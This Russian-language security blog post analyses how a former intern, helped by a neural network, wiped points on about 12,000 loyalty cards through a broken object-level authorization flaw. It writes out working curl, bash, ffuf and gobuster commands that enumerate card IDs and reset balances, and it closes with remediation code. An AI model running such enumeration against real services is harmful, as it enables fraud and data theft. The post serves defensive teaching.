CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как стажёр без опыта программирования обнулил бонусы у 12 000 клиентов кофейни: разбор дыры в API лояльности

IDOR в сервисе лояльности, последовательные номера карт и полное отсутствие проверки прав — разбираем по шагам, как скучающий практикант с нейросетью превратил витрину бизнеса в открытую дверь, и что с этим делать технически.

Разбор CIOlogia

Сеть кофеен с программой лояльности на несколько городов потеряла бонусные баллы почти у всех активных клиентов за одну ночь. Колл-центр захлебнулся звонками, маркетинг три дня разгребал последствия, а виновником оказался не хакер, а бывший практикант, который две недели назад проходил у них летнюю стажировку и от скуки решил «просто посмотреть, как это устроено».

История банальна до обидного: никакого взлома в классическом смысле не было. Была система, которая принимала команды от кого угодно, если тот знал номер карты. А номера карт выдавались по порядку — 100001, 100002, 100003...

Дыра, о которой никто не думал

Технически это называется Broken Object Level Authorization — уязвимость №1 в рейтинге OWASP API Security Top 10 (категория API1:2023). Суть простая: сервер проверяет, что запрос синтаксически корректен, но не проверяет, имеет ли отправитель право оперировать именно этим объектом — в данном случае конкретной картой лояльности другого человека.

В реальных проектах эта же ошибка регулярно всплывает под разными масштабами — от школьников, обнулявших подписки на стриминговых сервисах перебором ID аккаунтов, до банковских мобильных API, где через подмену параметра account_id можно было увидеть чужой баланс. Природа одна и та же: доверие к параметру запроса вместо проверки владения ресурсом.

Как это эксплуатируется

Ниже — типовой путь атаки на такую систему, без привязки к конкретному пострадавшему. Именно так строится атака на любой похожий сервис лояльности.

Шаг 1. Разведка API

Практикант, имея легитимный доступ к личному кабинету, просто открыл вкладку Network в DevTools браузера и посмотрел, какие запросы уходят на бэкенд при списании или начислении баллов. То же самое можно сделать через перехват трафика в Burp Suite или mitmproxy.

POST /api/loyalty/v1/card/redeem HTTP/1.1
Host: api.example-coffee.ru
Content-Type: application/json
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

{"card_id": 100482, "action": "reset_points"}

Ключевой момент: сервер возвращал 200 OK даже когда запрос отправлялся без валидной сессии — только с параметром card_id. Это легко проверить прицельным curl-запросом без куки:

curl -i -X POST https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
  -H "Content-Type: application/json" \
  -d '{"card_id": 100482, "action": "reset_points"}'

HTTP/1.1 200 OK
Content-Type: application/json
{"status":"ok","points_balance":0}

Шаг 2. Поиск эндпоинтов и структуры API

Если бы эндпоинт не был очевиден из перехваченного трафика, его несложно было бы найти брутфорсом путей:

gobuster dir -u https://api.example-coffee.ru/api/loyalty/v1 \
  -w /usr/share/wordlists/api-endpoints.txt -t 50

===============================================================
/card                (Status: 200)
/card/redeem         (Status: 200)
/card/balance        (Status: 200)
/card/history        (Status: 401)
===============================================================

Или тем же самым, но специализированным сканером под API:

nuclei -u https://api.example-coffee.ru -t exposures/apis/ -t vulnerabilities/generic/

[INFO] [broken-object-level-authz] [http] [medium]
       https://api.example-coffee.ru/api/loyalty/v1/card/redeem

Шаг 3. Перебор номеров карт

Дальше остаётся автоматизировать то, что руками делать бессмысленно. Именно на этом этапе практиканту помогла нейросеть — она сгенерировала простой скрипт по описанию задачи в разговорной форме, без единой строчки кода, написанной вручную.

for id in $(seq 100000 112000); do
  curl -s -o /dev/null -w "%{http_code} card_id=$id\n" \
    -X POST https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
    -H "Content-Type: application/json" \
    -d "{\"card_id\": $id, \"action\": \"reset_points\"}"
done

Или тот же самый перебор — через ffuf, что быстрее и удобнее логируется:

seq 100000 112000 > ids.txt

ffuf -u https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
  -X POST -d '{"card_id": "FUZZ", "action": "reset_points"}' \
  -H "Content-Type: application/json" \
  -w ids.txt -mc 200 -t 30

:: Progress: [12000/12000] :: Job [1/1] :: 340 req/sec
[Status: 200, Size: 34] card_id=100001
[Status: 200, Size: 34] card_id=100002
[Status: 200, Size: 34] card_id=100003
...

Никакого rate limiting, никакой капчи, никакой блокировки по частоте запросов с одного IP — сервер спокойно обработал 12 000 запросов за несколько минут. За одну ночь скрипт прошёлся по всему диапазону активных карт.

Что и почему сработало бы дальше

Обнуление баллов — самый безобидный сценарий из возможных. Тот же самый эндпоинт с той же самой уязвимостью открывает куда более неприятные пути:

  • Начисление баллов себе или третьим лицам — если эндпоинт принимает не только reset_points, но и add_points, злоумышленник обналичивает бонусы через бесплатные позиции в меню.
  • Полный слив базы клиентов — если /card/history или /card/profile отдаёт ФИО, телефон, дату рождения по тому же card_id, перебор превращается в утечку персональных данных 12 000+ человек, что уже подпадает под 152-ФЗ с оборотными штрафами.
  • Атака на другие сервисы через переиспользование пароля — если админка использовала тот же пароль три года подряд (как и оказалось в этом случае), полученные из истории обращений email-адреса клиентов можно проверить на утечки через сервисы типа Have I Been Pwned, а затем прогнать по актуальным базам паролей через hydra или hashcat при получении дампа хешей.
  • Репутационная атака — скриншоты обнулённых балансов в локальных пабликах города появляются быстрее, чем официальный комментарий пресс-службы, и это уже не техническая, а управленческая проблема.

Полутехнические пруфы, на которые стоило обратить внимание заранее

  • Инкрементные числовые ID в URL или теле запроса вместо UUID — верный признак потенциального IDOR/BOLA.
  • Отсутствие заголовка Authorization: Bearer в запросах на изменение состояния — сервис ориентируется только на тело запроса.
  • Ответ 200 OK на запрос без валидной сессии или с чужим card_id — сервер не сверяет владельца ресурса с автором запроса.
  • Отсутствие лимитов — 300+ запросов в секунду с одного IP не вызывают ни блокировки, ни алерта.
  • Пустые логи приложения — при разборе инцидента невозможно восстановить, с какого IP и когда шёл перебор, потому что журналирование на уровне API вообще не велось.

Как закрыть

Аудит занял два дня. Помимо самой дыры вскрылось несколько сопутствующих проблем: пароли администратора панели управления не менялись три года, а логи запросов к API вообще не велись. Комплекс мер занял неделю:

  1. Проверка владения ресурсом на каждый запрос. Сервер должен сверять не только валидность JWT-токена, но и то, что card_id в теле запроса принадлежит именно этому авторизованному пользователю:
    if (token.user_id !== db.getCardOwner(request.card_id)) {
      return res.status(403).json({error: "forbidden"});
    }
    
  2. Rate limiting на уровне API-gateway или nginx, чтобы перебор тысяч ID за минуты стал технически невозможен:
    limit_req_zone $binary_remote_addr zone=loyalty_api:10m rate=5r/s;
    
    location /api/loyalty/ {
        limit_req zone=loyalty_api burst=10 nodelay;
        proxy_pass http://backend;
    }
    
  3. Замена последовательных номеров карт на непредсказуемые идентификаторы (UUID v4 или случайные 12-значные номера с проверкой контрольной суммы) — перебор становится вычислительно бессмысленным.
  4. Журналирование действий с картами — кто, когда и с какого IP менял баланс, с хранением логов не менее 90 дней для последующего расследования.
  5. Мониторинг аномалий и алерты — при резком росте частоты запросов к одному эндпоинту с одного IP или юзер-агента система должна сама сигнализировать ответственному, а не ждать жалоб клиентов через сутки.
  6. Регулярная ротация паролей и сервисных токенов админ-панели, минимум раз в 90 дней, плюс двухфакторная аутентификация для административного доступа.

Работа заняла неделю и обошлась в разы дешевле одной волны компенсаций, которую бизнес уже пережил: около 380 000 рублей на возврат баллов клиентам, три дня работы поддержки и маркетинга вместо обычных задач, плюс репутационные посты в местных пабликах с формулировкой «у них там всё взломали». Сравнивать стоимость аудита с суммой этих убытков даже неловко — цифры несопоставимые.

Самое обидное в этой истории — что закрыть дыру можно было заранее, ещё на этапе разработки, обычным код-ревью с чек-листом OWASP API Security Top 10, без всякого практиканта и без нейросети, которая просто ускорила то, что рано или поздно нашёл бы кто-то другой.